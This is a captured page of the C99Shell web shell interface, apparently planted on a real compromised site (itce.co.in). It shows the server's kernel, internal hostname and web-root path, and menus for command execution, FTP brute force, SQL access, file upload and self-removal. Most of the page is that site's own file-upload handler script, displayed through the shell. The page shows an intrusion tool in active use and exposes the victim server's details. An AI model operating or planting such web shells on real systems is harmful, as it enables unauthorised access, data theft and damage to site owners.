!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/data/   drwxr-xr-x
Free 30.76 GB of 49.93 GB (61.62%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     mfhandler.php (8.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * jQuery File Upload Plugin PHP Example 5.7
 * https://github.com/blueimp/jQuery-File-Upload
 *
 * Copyright 2010, Sebastian Tschan
 * https://blueimp.net
 *
 * Licensed under the MIT license:
 * http://www.opensource.org/licenses/MIT
 */

include_once ("include/dbcommon.php");

@
ini_set("display_errors","1");
@
ini_set("display_startup_errors","1");

$table postvalue("table");
$field postvalue("field");
$thumb postvalue"thumb" );
$pageType postvalue("pageType");
$outputAsAttachment postvalue("nodisp") != 1;
$pageName postvalue("page");

if (!
GetTableURL($table))
{
    exit(
0);
}

$requestAction $_REQUEST['_action'];

if( !
Security::userHasFieldPermissions$table$field$pageType$pageName$requestAction == "POST" || postvalue("fkey") ) ) {
    exit(
0);
}



global 
$cman;    
$_connection $cman->byTable$table );
$pSet = new ProjectSettings($table$pageType);

add_nocache_headers();

require_once 
getabspath('classes/uploadhandler.php');

$upload_handler = new UploadHandler(getOptionsForMultiUpload($pSet$field));
$upload_handler->pSet $pSet;
$upload_handler->field $field;
$upload_handler->table $table;
$upload_handler->pageType $pageType;    
$upload_handler->pageName $pageName;    

switch (
$requestAction) {
    case 
'DELETE':
        
printMFHandlerHeaders();
        
$formStamp postvalue("formStamp");
        if(
$formStamp != ""){
            
$upload_handler->formStamp $formStamp;
            
$upload_handler->delete();
        }
        break;
    case 
'POST':
        
printMFHandlerHeaders();
        
$formStamp postvalue("formStamp");
        if(
$formStamp != ""){
            
$upload_handler->formStamp $formStamp;
            
$upload_handler->post();
        }
        break;
    case 
'GET':
    default:
        
$isDBFile postvalue("filename") != ""
        
$fileName postvalue("file") != "" postvalue("file") : postvalue("filename");
        
$formStamp postvalue("fkey");
        if(
$fileName == "")
            exit();
        
        
$sessionFile null;
        
$fsFileName "";
        if(!
$isDBFile && $formStamp != "" )
        {
            
$sessionFile $_SESSION["mupload_".$formStamp][$fileName]["file"];
        }
        else
        {
            
$keys = array();
            foreach( 
$pSet->getTableKeys() as $ind => $k ) {
                
$keys$k ] = postvalue("key".($ind 1));
            }

            
$dc = new DsCommand();
            
$dc->filter Security::SelectCondition"S"$pSet );
            
$dc->keys $keys;            
            
            
/*$queryObj = $pSet->getSQLQuery()->CloneObject();
            
            $imgFieldIndices = array( $pSet->getFieldIndex($field) );

            if( $thumb ) {
                $thumbField = $pSet->getStrThumbnail( $field );
                $thumbIdx = $pSet->getFieldIndex( $thumbField );
                $imgFieldIndices[] = $thumbIdx;
            }

            if( !$queryObj->HasGroupBy() )
            {
                // Do not select any fields except current (file) field.
                // If query has 'group by' clause then other fields are used in it and we may not simply cut 'em off.
                // Just don't do anything in that case.
                $queryObj->RemoveAllFieldsExceptList( $imgFieldIndices );
            }
            
            $qResult = $_connection->query( $queryObj->gSQLWhere($strWhereClause) );*/
            
            
$dataSource getDataSource$table$pSet$_connection );
            
$qResult $dataSource->getSingle$dc );
            
            if( 
$isDBFile )
            {
                if( 
$qResult )
                {
                    
$data $qResult->fetchAssoc();
                    if( 
$data ) {
                        
$value "";

                        if( 
$thumb ) {
                            
$thumbField $pSet->getStrThumbnail$field );
                            
                            if( 
$data$thumbField ] )
                                
$value $_connection->stripSlashesBinary$data$thumbField ] );
                        }
                        
                        if( !
$value )
                            
$value $_connection->stripSlashesBinary$data$field ] );
                    }
                }
            }
            else 
            {
                
$cipherer = new RunnerCipherer$table$pSet );
                
$row =  $cipherer->DecryptFetchedArray$qResult->fetchAssoc() );
                
                if( 
$row ) {
                    
$filesArray my_json_decode$row$field ] );
                    if( !
is_array$filesArray ) || count$filesArray ) == )
                    {
                        
$filesArray =  array();
                
                        if( 
$row$field ] != "" ) {
                            
$uploadedFile $upload_handler->get_file_object$row$field ] );
                            
                            if( !
is_null$uploadedFile ) )
                                
$filesArray = array( my_json_decodemy_json_encode$uploadedFile ) ) );
                        }
                    }
                    
                    foreach( 
$filesArray as $uploadedFile ) {
                        if( 
$uploadedFile["usrName"] == $fileName ) {
                            
$sessionFile $uploadedFile;
                            break;
                        }
                    }
                }
            }
        }
        
        
$iconShowed false;
        if(
$isDBFile)
        {
            
$ftype "";
            if(
$pSet->getViewFormat($field) == FORMAT_DATABASE_IMAGE)
            {
                if(!
$value)
                {
                    
$value myfile_get_contents('images/no_image.gif');
                }
                
$ftype SupposeImageType($value);
            }
            if(!
$ftype)
                
$ftype getContentTypeByExtension(substr($fileNamestrrpos($fileName'.')));
            
$fsize strlen_bin($value);
        }
        else if(
$sessionFile != null)
        {
            
$isThumbnail false;
            
$isSRC false;
               
$isThumbnail postvalue("thumbnail") != "";
               
$isSRC postvalue('src') == 1;
            if(
postvalue("icon") != ""){
                
$fsFileName "images/icons/".getIconByFileType($sessionFile["type"], $sessionFile["name"]);
                
$fsize filesize(getabspath($fsFileName));
                
$ftype "image/png";
            }
            else if(
$isThumbnail && $sessionFile["thumbnail"] && GDExist())
            {
                
$fsFileName $sessionFile["thumbnail"];
                
$fsize $sessionFile["thumbnail_size"];
                
$ftype $sessionFile["thumbnail_type"];
            }
            else
            {
                if( 
false && ($pageType == PAGE_EDIT || $pageType == PAGE_ADD) && $isSRC )
                {
                    
$iconShowed true;
                    
$fsFileName "images/icons/".getIconByFileType($sessionFile["type"], $sessionFile["name"]);
                    
$fsize filesize(getabspath($fsFileName));
                    
$ftype "image/png";
                }
                else 
                {
                    
$fsFileName $sessionFile["name"];
                    
$fsize $sessionFile["size"];
                    
$ftype $sessionFile["type"];
                }
            }            
        }
        if(
$isDBFile && $value || $fsFileName != "")
        {
            if(!
$isDBFile)
            {
                if(!
$pSet->isAbsolute($field) && !isAbsolutePath($fsFileName) || $iconShowed)
                    
$fsFileName getabspath($fsFileName);
                    
                if(!
myfile_exists($fsFileName))
                {
                    
$fsFileName getabspath("images/no_image.gif");
                    
$fsize filesize($fsFileName);
                    
$ftype "image/gif";
                }
            }
                                
        
            
$norange = ( postvalue('norange') == );
        
            if(
postvalue('norange') == 1)
            {
                
header('Accept-Ranges: none');
                
header("Cache-Control: private");
                
header("Content-Type: ".$ftype);
                
header('Access-Control-Allow-Methods: HEAD, GET, POST');
                if( 
$outputAsAttachment )
                    
header("Content-Disposition: attachment;Filename=\"".$fileName."\"");
                
sendContentLength$fsize );
                if(
$_SERVER['REQUEST_METHOD'] == 'HEAD')
                    exit();
                if(
$isDBFile)
                    
echoBinary($value);
                else
                    
printfile($fsFileName);
            }
            else
            {
                
$size_unit "";
                
$range_orig "";
                
$httpRange $_SERVER['HTTP_RANGE'];
                if(
preg_match('/^bytes=((\d*-\d*,? ?)+)$/'$httpRange))
                {
                    
$tmparr explode('='$httpRange);
                    
$size_unit $tmparr[0];
                    
$range_orig $tmparr[1];
                }
                if (
$size_unit == 'bytes')
                {
                    
//multiple ranges could be specified at the same time, but we accept only the first range
                    
if(strpos($range_orig',') !== false)
                    {
                        
$tmparr explode(','$range_orig);
                        
$range $tmparr[0];
                        
$extra_ranges $tmparr[1];
                    }else
                        
$range $range_orig;
                }
                else
                    
$range '-';
                
//figure out download piece from range (if set)
                
$tmparr explode('-'$range);
                
$seek_start $tmparr[0];
                
$seek_end $tmparr[1];
                
                
//set start and end based on range (if set), else set defaults
                //also check for invalid ranges.
                
$seek_end = (strlen($seek_end) == 0) ? ($fsize 1) : min(abs(intval($seek_end)),($fsize 1));
                
$seek_start = (strlen($seek_start) == || $seek_end abs(intval($seek_start))) ? max(abs(intval($seek_start)),0);
                
                
//    print headers
                
if ($seek_start || $seek_end < ($fsize 1))
                {
                    
header('HTTP/1.1 206 Partial Content');
                }
                
header('Accept-Ranges: bytes');
                
header('Content-Range: bytes '.$seek_start.'-'.$seek_end.'/'.$fsize);

                if( 
$outputAsAttachment 
                {
                    
header("Content-Disposition: attachment;Filename=\"".$fileName."\"");
                }

                
$printContentLength true;
                
                if( 
$printContentLength 
                {
                    
header"Content-Length: ". ($seek_end $seek_start 1) );
                }
                
                
header("Cache-Control: cache, must-revalidate");   
                
header("Pragma: public");
                
header("Content-Type: ".$ftype);
                if(
$_SERVER['REQUEST_METHOD'] == 'HEAD')
                {
                    exit();
                }
                if(
$isDBFile)
                {
                    
echoBinaryPartial($value$seek_start$seek_end);
                }
                else
                {
                    
printfileByRange($fsFileName$seek_start$seek_end);
                }
            }
        }
}
exit();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0022 ]--